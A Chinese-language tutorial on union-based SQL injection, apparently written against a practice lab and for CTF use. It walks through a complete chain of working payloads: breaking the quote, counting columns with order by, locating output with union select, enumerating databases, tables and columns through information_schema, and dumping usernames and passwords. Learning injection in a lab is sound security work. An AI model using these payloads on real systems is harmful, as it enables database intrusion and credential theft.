sql联合注入原理
联合注入
原理
查看源码:
可以看到这里没有对传入的id
做任何过滤直接就拼接进了查询语句,试试传入?id=1',发现报错:
为什么会报错,拼接后的语句:
SELECT * FROM users WHERE id='1'' LIMIT 0,1
可以看到报错是把错误的地方用单引号引用了
所以就算不知道后端代码,也能通过报错判断出传参的包裹方式,利于我们后面的构造。
那么我们传入:
?id=1'%23
拼接语句
SELECT * FROM users WHERE id='1'#' LIMIT 0,1
发现不会报错了,接下来进行注入。
基础内容
- 一个可利用的数据库:information_schema
- information_schema库的一些可利用的表
其中比较重要的三个表:
SCHEMATA表
schemata表存储该用户创建的所有数据库的库名。要记住该表中记录数据库库名的字段名为SCHEMA_NAME
TABLES表
TABLES表存储该用户创建的所有数据库的库名和表名
table_name存储这个数据库对应数据库名的里面的表的值
table_schema是储存了这个数据库所有数据库名的字段
COLUMNS表
COLUMNS表存储该用户创建的所有数据库的库名、表名和字段名
table_schema存的是数据库里面所有的数据库名
table_name对应数据库名的表名
column_name存储的是对应表名的字段名
至于一些mysql函数利用,参考:https://blog.csdn.net/Waffle666/article/details/111410039
实操
一、判断列数
先利用order by
判断列数(原理:order by 的作用是对前面查询的数据属性进行分组,比如说前面查询的数据是甲、乙、丙,我们可以根据这三种属性的一到三种进行分类,但如果只有3种属性,而order by 4对四种属性进行分组就会报错)
1'order by 4-- a
那么说明这里有三种属性也就是三个段名。
为什么要知道有多少列:
可以看到union的每个查询必须包含相同的列。其实也可以直接利用union select
在判断回显的时候进行判断列数。只是order by在判断大数目时更方便。
二、判断回显位
接下来判断回显位,利用union select
(原理:看到下面传的参的第一个select是-1,因为union会把查询结果组合在一起。但由于这里源码是limit 0,1
所以还是只会显示一个结果,所以把前面id设为-1,查询为空就会显示我们的数字,这样可以判断显示位)
查询结果:
?id=-1'union select 1,2,3-- a
三、查看基本信息
在回显位查看基本信息(其实只有看数据库就行了)
一些常用函数:
user()
database()
@@version
session_user()
@@basedir
@@datadir
@@version_compile_os
?id=-1'union select 1,database(),@@version-- a
四、数据查询
查库名:
?id=-1'union select 1,2,schema_name from information_schema.schemata-- a
这句话就是在information_schema
数据库中的schemata
表中查询schema_name
段的值(也就是所有数据库名称,上面也有讲这个表)
但由于limit限制所以只能显示一个值。可以加个group_concat()
,其可以拼接列数据(concat是针对行数据进行拼接,concat_ws和concat区别不大只是可以指定分隔符)
-1'union select 1,2,group_concat(schema_name) from information_schema.schemata-- a
其实这里数据库查不查无所谓,只是一般ctf中在当前数据库没找到flag时可以考虑其他数据库。
后面的注入就大同小异了。
查表名:
-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'-- a
简单分析一下,就是查询information_schema
数据库tables
表中的table_name
字段的值(这个段的值也就是数据库对应的数据库名的里面的表的值)在里字段table_schema
来指定数据库。
查段名:
-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'-- a
和上面原理没有区别,查询指定数据库的指定表的段名。
查数据:
现在知道了数据库security下users表的所有段名,那么接下来就是查取users表下的全部数据:
-1'union select 1,group_concat(id,',',username),group_concat(password) from security.users-- a
因为当前默认数据库就是security,所以也可写成:
-1'union select 1,group_concat(id,',',username),group_concat(password) from users-- a